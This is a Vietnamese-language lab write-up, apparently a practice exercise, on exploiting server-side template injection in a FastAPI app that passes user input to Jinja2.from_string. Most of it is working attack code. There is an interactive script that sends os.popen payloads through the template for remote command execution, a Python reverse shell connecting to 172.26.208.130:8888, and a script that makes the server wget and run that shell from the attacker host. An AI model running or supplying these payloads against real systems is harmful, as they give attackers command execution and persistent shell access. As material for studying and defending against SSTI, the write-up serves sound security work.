# SSTI

## Phân tích

from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from jinja2 import Environment

app = FastAPI()
Jinja2 = Environment()

@app.get("/")
async def index():
    return {"text": "Welcome to the hall of fame!"}

@app.get("/welcome")
async def round(username="hacker"):
    output = Jinja2.from_string("Can you defeat me " + username).render()
    return HTMLResponse(content=output)


if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, port=9001)

- đọc đoạn code em thấy ứng dụng sử dụng ```Jinja2.from_string()``` để render với dữ liệu từ người dùng mà không được kiểm tra hoặc lọc trước điều này tạo ra cơ hội khai thác SSTI


- thấy được ứng dụng thực thi phép tính 7*7

## Khai thác


- script khai thác

import requests

host = "http://192.168.0.129:9001/welcome?username="
proxy = {'http': 'http://127.0.0.1:8080'}

print("Nhập lệnh bạn muốn thực thi (nhấn Ctrl+C để thoát):")
while True:
    try:
        command = input("Lệnh: ").strip()

        payload = f" cycler.__init__.__globals__.os.popen('{command}').read()"

        url = host + '{{' + payload + '}}'
        response = requests.get(url, proxies=proxy)

        if response.status_code == 200:
            print("Kết quả trả về từ máy chủ:")
            print(response.text)
        else:
            print(f"Lỗi: {response.status_code}")

    except KeyboardInterrupt:
        print("\nĐã dừng chương trình.")
        break


==> RCE thành công

- em tiến hành upload shell với file shell có nội dung sau

#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.26.208.130",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

- em tiến hành upload file shell lên hệ thống vẫn thông qua rce ssti

import requests

host = "http://192.168.0.129:9001/welcome?username="
proxy = {'http': 'http://127.0.0.1:8080'}


command = "wget http://172.26.208.130:1234/shell.py; python ./shell.py; echo \"đã thực hiện\""

payload = f" cycler.__init__.__globals__.os.popen('{command}').read()"

url = host + '{{' + payload + '}}'
response = requests.get(url, proxies=proxy)

if response.status_code == 200:
    print("Kết quả trả về từ máy chủ:")
    print(response.text)
else:
    print(f"Lỗi: {response.status_code}")

- đoạn code thực hiện tải file shell tại server của attacker http://172.26.208.130:1234/shell.py


- sau đó chạy file shell.py đã được upload và sau đó kết nối socket tới địa chỉ IP 172.26.208.130 port 8888 và em lấy được shell mà không cần thông qua rce ssti


### dùng tool feijing